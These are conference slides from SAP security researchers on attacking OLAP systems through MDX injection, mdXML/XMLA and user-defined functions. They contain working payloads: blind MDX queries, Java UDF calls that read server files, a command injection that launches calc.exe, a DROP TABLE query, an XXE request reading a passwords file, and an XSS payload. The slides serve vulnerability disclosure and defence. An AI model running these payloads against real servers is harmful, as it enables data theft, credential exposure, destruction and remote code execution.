With BIGDATA comes BIG Responsibility:
Practical exploiting of MDX injections

Dmitry Chastukhin – Director of SAP pentest/research team
Alexander Bolshev – Security analyst, audit department
Dmitry Chastukhin

Yet another security researcher

Business application security expert
Alexander Bolshev

Yet another man with “somecolorhat”

Distributed systems researcher, Ph.D.
• Developing software for SAP security monitoring
• Leader by the number of acknowledgements from SAP
• Invited to talk at **more than 35 security conferences** worldwide BlackHat (US/EU/DC/UAE), RSA, Defcon, CONFidence, HITB, etc.
• First to develop software for NetWeaver J2EE assessment
• **The only** solution to assess all areas of SAP security
• Research team with **experience in different areas of security** from ERP and web to mobile, embedded and critical infrastructure, accumulating their knowledge on SAP research.

Leading SAP AG partner in the field of discovering security vulnerabilities by the number of found vulnerabilities
OLAP and Big Data
Details of technology
MDX attacks: injections
mdXML attacks
Getting RCE with MDX
Conclusion
OLAP & Big Data
Online analytical processing (OLAP) is an approach to formulate and answer multidimensional queries to large datasets. OLAP technologies developed by many software giants since the 1990s. Business intelligence (BI) is a methodology that helps managers in the analysis of information inside and outside companies. OLAP is all about BI and Big Data.
OLAP && OLTP

OLTP (Operations)
- Business strategy
- Business processing

OLAP (Information)
- Data Mining
- Analytics
- Decision making
Big Data

Usage areas

Retail
Government
Energy
Healthcare
Advertising
Main players of OLAP industry

- SAP
- Microsoft
- Oracle
- SAS
- IBM
- Pentaho
- icCube

erpscan.com
What if we need to get totals by countries and suppliers vs. cities? Can we really do it in 2D?
So what?

We’re in N-dimensions!
Cube will help!

<table>
<thead>
<tr>
<th>Route</th>
<th>ground</th>
<th>rail</th>
<th>sea</th>
<th>nonground</th>
</tr>
</thead>
<tbody>
<tr>
<td>Africa</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Asia</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Australia</td>
<td>212</td>
<td>240</td>
<td>300</td>
<td>410</td>
</tr>
<tr>
<td>Europe</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>North America</td>
<td>500</td>
<td>470</td>
<td>464</td>
<td>696</td>
</tr>
<tr>
<td>South America</td>
<td>3056</td>
<td>4050</td>
<td>4360</td>
<td>5112</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source</th>
<th>1st quarter</th>
<th>2nd quarter</th>
<th>3rd quarter</th>
<th>4th quarter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Africa</td>
<td>Feb-17-99</td>
<td>Apr-22-99</td>
<td>Sep-07-99</td>
<td>Dec-01-99</td>
</tr>
<tr>
<td>Australia</td>
<td>550</td>
<td>600</td>
<td>520</td>
<td>780</td>
</tr>
<tr>
<td>North America</td>
<td>212</td>
<td>240</td>
<td>300</td>
<td>410</td>
</tr>
<tr>
<td>South America</td>
<td>500</td>
<td>470</td>
<td>464</td>
<td>696</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Measures</th>
<th>Packages</th>
<th>Last</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Time</th>
<th>1st half</th>
<th>2nd half</th>
</tr>
</thead>
<tbody>
<tr>
<td>1st quarter</td>
<td>2nd quarter</td>
<td>3rd quarter</td>
</tr>
</tbody>
</table>
MDX
• SQL isn’t convenient to access Big Data.
• MDX (MultiDimension eXpressions) comes to replace it.

• MDX looks like SQL, but it’s not SQL:
  – (usually) you can’t modify data
  – MDX is much stricter than SQL
[ WITH <SELECT WITH clause>
  [ , <SELECT WITH clause>...n ] ]

SELECT
[ * | (  
  <SELECT query axis clause>
  [ , <SELECT query axis clause>,...n ] ) ]

FROM <SELECT subcube clause>
[ <SELECT slicer axis clause> ]
[ <SELECT cell property list clause> ]
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid])

SELECT
{ [SelectedMeasure] } ON COLUMNS,
{ ([Employee].[Department].[Department].[HQ Marketing], [Gender].[Gender].[M]) } ON ROWS
FROM [HR]
WHERE ([Store].[Store].AllMembers)
MDX Processing

MDX

OLAP

mdXML

OLTP

Data (SQL?)

Application

Data
Attacks on MDX

mdXML attacks (good old XXE and much more)

MDX injections

User-defined functions attacks
MDX Injections
What will help to inject?

• Commentaries:
  – single line -- - (as in SQL)
  – multiline /* ... */

• Special functions for dimensions and members crawling: Parent,FirstChild, LastChild, DefaultMember e.t.c.

• Subqueries in FROM ( ... )
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid])
SELECT
{
  [SelectedMeasure]
}
ON COLUMNS,
{
  ([Employee].[Department].[Department].[HQ Marketing],
   [Gender].[Gender].[M])
}
ON ROWS
FROM [HR]
WHERE ([Store].[Store].AllMembers)
Types of injections

Pre-SELECT (WITH):
• You can do everything

In-SELECT:
• Partial cube info gathering and cross-cube queries
• Partial access to cube data

In-WHERE:
• Blind MDX
WITH

MEMBER SelectedMeasure AS ([Measures].[Salary Paid]
MEMBER [Rank] AS (Rank([Employee].[Employee].currentmember,
Head([Employee].[Employee].members, Dimensions.count-1))
)
MEMBER HierName AS (Dimensions([Rank]).uniquename )

SELECT

{{[Rank], [HierName]} on 0,
{Head([Employee].[Employee].members, Dimensions.count-1)} on 1
FROM [HR]

/* [Salary Paid])

SELECT

{[SelectedMeasure]
...rest of query...
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid])
SELECT
{
  [SelectedMeasure]
}
ON COLUMNS,
{
  ([Employee].[Department].[Department].[HQ Marketing],
  [Gender].[Gender].AllMembers, [User name].[User name].AllMembers)
}
ON ROWS
FROM [HR]
WHERE ([Store].[Store].AllMembers)
/* [M] */
}
... rest of request ...
Use `{null}` on axis to get all or nothing

You can use Dimensions to access cube dimensions

LOOKUPCUBE provides access to another cube

You can use `/*` multiline commentary without closing `*/`

Use DESCENDANTS to get all data around the member

You can convert to/from strings to pass data within query
As in SQL, it is possible to use blind injections in MDX:

```
ON ROWS FROM [HR]
WHERE (FILTER( ([User name].[User name].AllMembers),
              LEFT( ([User name].[User name].CURRENTMEMBER.NAME, 10) = "FoodMart\A") ) /*[Store].[Store].AllMembers*/
```

This query will return null when there is no login with this starting substring, and something when it exists.

- You can use InStr() MDX function to speed-up process.
- When blinding dimensions in such way, you can use binary search with ‘>’ and ‘<‘ operators.
In Microsoft Analysis Services, it is a **correct** MDX query:

```mdx
SELECT * FROM $SYSTEM.MDSCHHEMA_CUBES
```

- If you control PRE-SELECT or the beginning of SELECT part of query, you’ll be probably able to retrieve ALL Cube Data and structure.
- That can also be possible (in several cases) when you inject in ASP.Net applications.
We love you, Microsoft!
User-Defined Function (UDF) – these are functions written by the user or a third-party developer which can take and return values in the MDX syntax.

«ProgramID»!«FunctionName»(«Argument1», «Argument2», ...)

ERPScan — invest in security to secure investments
IcCube OLAP Server

- Popular OLAP Server
- Free. Has a Community edition
- Cross-platform Java app: Windows, Linux,
- Fast
- Has many utilities: IDE, web reports
- etc...
IcCube OLAP Server
## IcCube OLAP Server

### Liquidity report (millions of Euros)

<table>
<thead>
<tr>
<th>Quarter</th>
<th>Principal Feb 2008</th>
<th>Interest Mar 2008</th>
</tr>
</thead>
<tbody>
<tr>
<td>Q1 2008</td>
<td>11000.76</td>
<td>59.43</td>
</tr>
<tr>
<td>Q2 2008</td>
<td>-175.05</td>
<td>-16.81</td>
</tr>
<tr>
<td>Q3 2008</td>
<td>-14021.35</td>
<td>29.41</td>
</tr>
<tr>
<td>Q4 2008</td>
<td>-0.09</td>
<td>-0.69</td>
</tr>
<tr>
<td>Q1 2009</td>
<td>218.48</td>
<td>4.34</td>
</tr>
<tr>
<td>Q2 2009</td>
<td>-5316.77</td>
<td>4.09</td>
</tr>
<tr>
<td>Q3 2009</td>
<td>28044.35</td>
<td>38.11</td>
</tr>
<tr>
<td>Q4 2009</td>
<td>2251.19</td>
<td>0.96</td>
</tr>
</tbody>
</table>

**Department**
- Corporate
- Debt
- Funding
- Investments
- Monetary
- Special Purpose

**Product type**
- Fixed Income I
- Fixed Income II
- Saving Account
- Fixed Income Derivative I

**Currency**
- EUR
- GBP
- USD
- CHF
- NZD
- HKD
- ZAR
- SGD
- TRY
- ISK
- HUF
- CZK
- PLN
- JPY
- CAD
- DKK
- NOK
- SEK
- AUD

**In/Outflow**
- Inflow
- Outflow
- Principal/IR
- Interest
- Principal
- Fee

**Product Cur.**
- EUR
- GBP
- USD
- CHF
- NZD
- HKD
- ZAR
- SGD
- TRY
- ISK
- HUF
- CZK
- PLN
- JPY
- CAD
- DKK
- NOK
- SEK
- AUD

**Refresh All**
• Of course IcCube used MDX, but where?

• Send some request in WebReport, and look in Burp
POST /icCube/gvi

action=executeMdx&mdx=SELECT { [{Measures}.[Cashflow (M)],{Measures}.[Cumulative Cashflow (M)]} } ON COLUMNS,{ {Calendar}.[Calendar].[Quarter].allmembers } ON ROWS FROM ( SELECT { [{Product Type}.[Product Type].[Product Type-L]}.&[{Fixed Income I}].{Product Type}.[Product Type-L]}.&[{Fixed Income II}].{Product Type}.[Product Type-L]}.&[{Fixed Income Derivative I}].{Product Type}.[Product Type-L]}.&[{Fixed Income Derivative II}].&[{Other}]} } ON 0,{{[Currency]}.{Currency-L}.&[121],{Currency-L}.&[114],{Currency}.[Currency-L].&[119],{Currency}.[Currency-L].&[115],{Currency}.[Currency-L].&[133],{Currency}.[Currency-L].&[130],{Currency}.[Currency-L].&[122],{Currency}.[Currency-L].&[128],{Currency}.[Currency-L].&[124],{Currency}.[Currency-L].&[125],{Currency}.[Currency-L].&[123],{Currency}.[Currency-L].&[118],{Currency}.[Currency-L].&[126],{Currency}.[Currency-L].&[131],{Currency}.[Currency-L].&[116],{Currency}.[Currency-L].&[117],{Currency}.[Currency-L].&[132],{Currency}.[Currency-L].&[127],{Currency}.[Currency-L].&[120]} } ON 1,{{[Interest/Principal]}.[Interest/Principal-L].&[1],[Interest/Principal].[Interest/Principal-L].&[2],[Interest/Principal].[Interest/Principal-L].&[3]} } ON 2,{{[Profit Unit]}.[Profit Unit].[Profit Unit-L1]}.&[-],[Profit Unit].[Profit Unit].[Profit Unit-L1].&[Corporate],[Profit Unit].[Profit Unit].[Profit Unit-L1].&[Debt],[Profit Unit].[Profit Unit].[Profit Unit-L1].&[Funding],[Profit Unit].[Profit Unit].[Profit Unit-L1].&[Investments],[Profit Unit].[Profit Unit].[Profit Unit-L1].&[Special Purpose]} } ON 3 FROM [Cube])&schema=Bank I&tqx=out:json
• Try to use user defined functions
• As we remember – icCube is a Java application
• Let's try JAVA functions

\[ J!Math.PI \]
WITH MEMBER [Measures].[val] AS J!Math.PI
SELECT {[Measures].[val] } ON COLUMNS
FROM [Sales]
• Probably, we can call public static JAVA functions. Cool.

```java
J!System.getProperty("user.dir")
```
• IcCube developers restrict access from user defined functions to dangerous JAVA functions
• From MDX, we can use some JAVA classes like Math ...
• ... and “if you need JAVA classes from JAR that are not available with icCube, simply add them to the icCube-install/lib directory”
(c) www.iccube.com
• icCube-install/lib directory contain a lot of interesting .jar files with interesting functions, which we can call

• For example:

  org.apache.commons.io. FileUtils.readFileToString(FILE file)

from commons-io-1.4.jar
Let’s try to read file c:\111.txt from server, which contains text: “hello_MDX”

For input, we can use error messages about wrong detention names

```java
org.apache.commons.io.FileUtils.readFileToString(new File("c:/111.txt"))
```

Final MDX request

```mdx
SELECT{StrToTuple(org.apache.commons.io.FileUtils.readFileToString(File("c:/111.txt")))} ON COLUMNS FROM [Sales]
```
UDF. IcCube OLAP Server

```
SELECT {StrToTuple(J!org.apache.commons.io.FileUtils.readFileToString(J!File("c:\111.txt")))} ON COLUMNS
FROM [Sales]
```

'hello MDX' is neither a dimension nor a hierarchy within the cube.
• But if the file contains special charsets or even whitespaces, MDX parser won’t return their content
• For example, if we try to read file “hello_MDX blabla”, we will get error:

“syntax error: unexpected statement 'blabla'
(REGULAR_IDENTIFIER)”
• Ok. Just encode file content. Base64, for example
• We found a method:
  
  ```java
  org.apache.commons.codec.binary.Base64.encodeBase64(byte[] binaryData)
  ```
  
in the file `commons-codec-1.6.jar`
• tried it... and got the error:

  ```
  syntax error: unexpected statement 'EQ'
  ```
• Hmm, probably the Base64 string contained an ‘EQ’ sequence, which means “equivalent”
• Ok, encoded file content twice...
• ...and got the error:

    syntax error: missing expression following '='
• oh, the “=” symbol is often found in the Base64 string
• to resolve this problem, just concatenate the Base64 string which contains “=” with one letter

\[MTIzNDU=s\]

When MDX parser works, it drops “=” and all symbols after that. But “=” is always at the end of Base64, we can still decode it.
Final user-defined function call:

\[
\text{StrToTuple(J!org.apache.commons.codec.binary.Base64.encodeBase64String(J!org.apache.commons.codec.binary.Base64.encodeBase64(J!org.apache.commons.codec.binary.Base64.encodeBase64(J!org.apache.commons.io.FileUtils.readFileToByteArray(J!File("c:/111.txt")))))))+"s"}
\]
Decode `WVVkV2MySkhPV1pVVlZKWlNVZEtjMWxYU25OWlVUMDk=`
• We must not forget to add “=” at the end of the Base64 string because the MDX parser has trimmed them.

• After decoding, we got the text from the file c:\111.txt

UDF. IcCube OLAP Server
This vulnerability is very interesting, especially because users passwords in IcCube OLAP Server are stored as Base64 encoded strings in the file icCubeUsers.icc-users

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
    <user name="admin" password="YWRtaW4=">
        <role>administrator</role>
    </user>
    <user password="ZGVtbw=" name="demo">
        <role>standard</role>
    </user>
    <user name="marc" password="bWFyYw==">
        <role>standard</role>
        <role>administrator</role>
    </user>
</users>
```
Example: getting user home directory from icCube demo server demo3.iccube.com

POST /icCube/gvi HTTP/1.1
Host: demo3.iccube.com

action=executeMdx&mdx=SELECT{StrToTuple(J!crazydev.common.security.Base64Encoder.encodeString(J!crazydev.common.utils.CdSystemUtils.getStringProperty("user.home","aa"))%2b"ss")}+ON+COLUMNS,[[Calendar].[Calendar].allmembers+]+ON+ROWS+FROM+[Cube]&schema=Bank+l&txq=out%3Ajson
HTTP/1.1 200 OK

{version:'0.6',status:'error',errors:[{reason:'other',message:'\u0027\u0027L2hvbWUvZGVtbzM\u0027 is neither a dimension nor a hierarchy within the cube.'\u0027 is neither a dimension nor a hierarchy within the cube.',detailed_message:'SELECT{StrToTuple(J!crazydev.common.security.Base64Encoder.encodeString(J!crazydev.common.utils.CdSystemUtils.getStringProperty(\u0022user.home\u0022,\u0022aaa\u0022))\u0022ss\u0022)} ON COLUMNS,\n\n[[Calendar].[Calendar].allmembers } ON ROWS\nFROM [Cube]\n',error_code:'OLAP_UNKNOWN_DIMENSION_HIERARCHY'}}

After decoding “L2hbWUvZGVtbzM=”, we get “/home/demo3”
UDF. IcCube OLAP Server

DEMO
• But, dangerous JAVA methods are only half of the problem
• Dangerous JAVA methods with bugs are another thing which the attacker can use
• Method

\[\text{org.apache.commons.io.FileSystemUtils.freeSpaceWindows(String path)}\]
from \textit{commons-io-1.4.jar}
• variable “path” used as parameter in command
  “cmd.exe /C dir/-c path”
• variable “path” isn’t checked, that’s why attacker can inject
  operation system commands

That’s the code of the user-defined function which executes
  calc.exe on the server OS

    J!FileSystemUtils.freeSpace("& calc.exe")
UDF. IcCube OLAP Server

DEMO
In Microsoft Analysis Services, you can also use user-defined functions.

But before that, you need to specify a library of them.

- **USE LIBRARY** statement
  - Type libraries (*.olb, *.tlb, *.dll)
  - Executable files (*.exe, *.dll)
  - ActiveX controls (*.ocx)

**USE LIBRARY** “c:\func\MySuperFunc.dll”, “c:\GiveMeShell.exe”
In modern Microsoft Analysis Services, you can use third-party .NET libraries to extend MDX. After adding library to an MDX project at SQL server, you can directly access its functions in MDX queries.

For example, very popular CodePlex projects provide ASSP: Analysis Services Stored Procedure Project, which vastly extends MDX functionality.
To protect users, Microsoft offers a security system for third-party libs, forces them to define least privileges.

But who uses it?
ON ROWS FROM [HR]
WHERE (FILTER(([User name].[User name].AllMembers),LEFT(call SQLQuery.ExecuteSql("provider=sqlncl;server=localhost;database=FoodMart 2008;trusted_connection=yes", 'DROP TABLE dbo.salary'))=0)) /*[Store].[Store].AllMembers)

PWSSASHelper.Query provides the same functionality and, according to forums, is also used
XML for Analysis
mdXML or XMLA

• XML + MDX = mdXML or XMLA (XML for Analysis)
• Based on other standards: XML, SOAP and HTTP
• XMLA consists of only 2 SOAP methods:
  – Execute
  – Discover
• *Discover* method was designed to model all the discovery methods possible in OLEDB including various schema rowset, properties, keywords, etc

• *Discover* method allows users to specify both what needs to be discovered and the possible restrictions or properties
<Discover xmlns="urn:schemas-microsoft-com:xml-analysis">
  <RequestType>MDSCHEMA_CUBES</RequestType>
  <Restrictions>
    <RestrictionList>
      <CATALOG_NAME>InfoProvider</CATALOG_NAME>
    </RestrictionList>
  </Restrictions>
  <Properties>
    <PropertyList>
      <Format>Tabular</Format>
    </PropertyList>
  </Properties>
</Discover>
XMLA attacks in SAP
XMLA. Discover method

POST /sap/bw/xml/sapb/wxml HTTP/1.1
Host: 172.16.10.63:8001
Authorization: Basic UU9QXxvMjg3NTRk==
Content-Length: 115

<?xml version="1.0" encoding="UTF-8"?>
<Discover xmlns="urn:schemas-microsoft-com:xml-analysis">
  <RequestType>MDSHEMA_CUBES</RequestType>
</Discover>

<?xml version="1.0" encoding="UTF-8"?>
<queryResponse xmlns="urn:schemas-microsoft-com:xml-analysis">
  <rangeNumber>1</rangeNumber>
  <sequence minOccurs="0" maxOccurs="unbounded">
    <element name="CATALOG_NAME" type="xsd:string" sqlfield="CATALOG_NAME"/>
    <element name="SCHEMA_NAME" type="xsd:string" sqlfield="SCHEMA_NAME"/>
    <element name="CUBE_NAME" type="xsd:string" sqlfield="CUBE_NAME" minOccurs="0"/>
    <element name="CUBE_TYPE" type="xsd:string" sqlfield="CUBE_TYPE" minOccurs="0"/>
    <element name="CUBE_GUID" type="xsd:guid" sqlfield="CUBE_GUID" minOccurs="0"/>
    <element name="CREATED_ON" type="xsd:dateTime" sqlfield="CREATED_ON" minOccurs="0"/>
    <element name="LAST_SCHEMA_UPDATE" type="xsd:dateTime" sqlfield="LAST_SCHEMA_UPDATE" minOccurs="0"/>
    <element name="LAST_SCHEMA_UPDATED_BY" type="xsd:string" sqlfield="LAST_SCHEMA_UPDATED_BY" minOccurs="0"/>
    <element name="LAST_DATA_UPDATE" type="xsd:dateTime" sqlfield="LAST_DATA_UPDATE" minOccurs="0"/>
    <element name="DATA_UPDATED_BY" type="xsd:string" sqlfield="DATA_UPDATED_BY" minOccurs="0"/>
    <element name="DESCRIPTION" type="xsd:string" sqlfield="DESCRIPTION" minOccurs="0"/>
    <element name="CUBE_CAPTION" type="xsd:string" sqlfield="CUBE_CAPTION" minOccurs="0"/>
    <element name="IS_READTHROUGH_ENABLED" type="xsd:boolean" sqlfield="IS_READTHROUGH_ENABLED" minOccurs="0"/>
    <element name="IS_WRITE_ENABLED" type="xsd:boolean" sqlfield="IS_WRITE_ENABLED" minOccurs="0"/>
    <element name="IS_SQL_ENABLED" type="xsd:boolean" sqlfield="IS_SQL_ENABLED" minOccurs="0"/>
    <element name="SOURCE_CUBE" type="xsd:string" sqlfield="SOURCE_CUBE" minOccurs="0"/>
    <element name="IS_LINKABLE" type="xsd:boolean" sqlfield="IS_LINKABLE" minOccurs="0"/>
</sequence>
</queryResponse>
Execute method has two parameters:

- **Command** – command to be executed. It can be MDX, DMX or SQL.

- **Properties** – XML list of command properties such as Timeout, Catalog name, etc.

The result of Execute command can be Multidimensional Dataset or Tabular Rowset.
<soap:Envelope>
  <soap:Body>
    <Execute xmlns="urn:schemas-microsoft-com:xml-analysis">
      <Command>
        <Statement>SELECT Measures.MEMBERS ON COLUMNS FROM Sales</Statement>
      </Command>
      <Properties>
        <PropertyList>
          <DataSourceInfo/>
          <Catalog>FoodMart</Catalog>
          <Format>Multidimensional</Format>
          <AxisFormat<TupleFormat>
        </PropertyList>
      </Properties>
    </Execute>
  </soap:Body>
</soap:Envelope>
XML + MDX = mdXML or XMLA (XML for Analysis)

All XML attacks are possible here:

- Tag injections
- XML External Entity
- XML Bomb
- XSLT code injection
- ...
This XML file does not appear to have any style information associated with it. The document tree is shown below.

```xml
<w:definitions targetNamespace="urn:schemas-microsoft-com:xml-analysis">
  <w:types>
    <s:schema targetNamespace="urn:schemas-microsoft-com:xml-analysis" elementFormDefault="qualified" attributeFormDefault="qualified">
      <s:element name="Discover">
        <s:complexType>
          <s:sequence>
            <s:element name="RequestType" type="s:string" nillable="true"/>
            <s:element name="Restrictions" nillable="true"/>
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:complexType>
        <s:sequence>
          <s:element name="RestrictionList">
            <s:complexType>
              <s:sequence>
              </s:complexType>
            </s:element>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </w:types>
</w:definitions>
```

SAP XMLA interface: http://srv:prt/sap/bw/xml/soap/xmla
POST /sap/bw/xml/soap/xmla HTTP/1.1
Host: 172.16.0.63:8001

<!DOCTYPE root [<!ENTITY foo SYSTEM "c:/passwords.txt">]>
<Execute xmlns="urn:schemas-microsoft-com:xml-analysis">
  <Command>
    <Statement>SELECT Measures."&foo;" ON COLUMNS FROM Sales</Statement>
  </Command>
</Execute>
**ERROR_MESSAGE_STATE -e:** Invalid MDX command with "My clear text passwords: god, love, sex, chipik"
Prevention

- Install SAP note 1530454
- Install SAP note 1597066
- Install SAP note 1881391
Other vectors
Except injecting MDX operators, attacker can try to inject some other payload into MDX requests.

- Often MDX is used in web reports.
- XSS

It’s possible because MDX requests are not filtered.

- For example: Panorama OLAP server. [http://panorama.com](http://panorama.com)
POST /panorama/connector.dll? HTTP/1.1
Host: pivot.panorama.com

MfcISAPICommand%3dCommand%26msg%3d{88694F4F-B095-FF59-A4DC-60012F533B3A}+%2523%2523OU%2523%25233.5<ch1(stack)>241100000030<ch2><ch3>-39622-16474881-16119057-14308283-2290995-2509047-9619451-16726326-16435771-10943051-13631379-9802489-16564989-16540551-16546941-16762773-12036693-8103342-4222861-349543-5197648-9400080-13249088-12924321<ch4><ch5>0<ch6>214<ch7>2<ch8><ch9><ch10>00<ch11>00<ch12>016<ch13>00000000000000000<ch14><ch15><ch16>danielbenhoda%2540gmail.comPn0101ColumnsPn0101[Product].[All%2bProducts]%2526[Non-Consumable]%2526[Periodicals]%2526[Magazines]0RowsPn0101[Customers].[All%2bCustomers]%2526[USA]03%2523%2523OU%2523%25233.5<ch1(stack)>alert(document.cookie)</script>]}
Conclusion

• MDX is a very popular language

• At this moment, we don’t have an alternative language for multidimensional data requests

• All developers forget about MDX security. Back to 2000

• Security issues in MDX may cause a lot of attacks: data stealing, file reading, privilege escalation, remote code execution, SQL injection, cross site scripting, etc.
Web: www.erpscan.com
e-mail: info@erpscan.com

Twitter:
@erpscan
@_chipik
@dark_k3y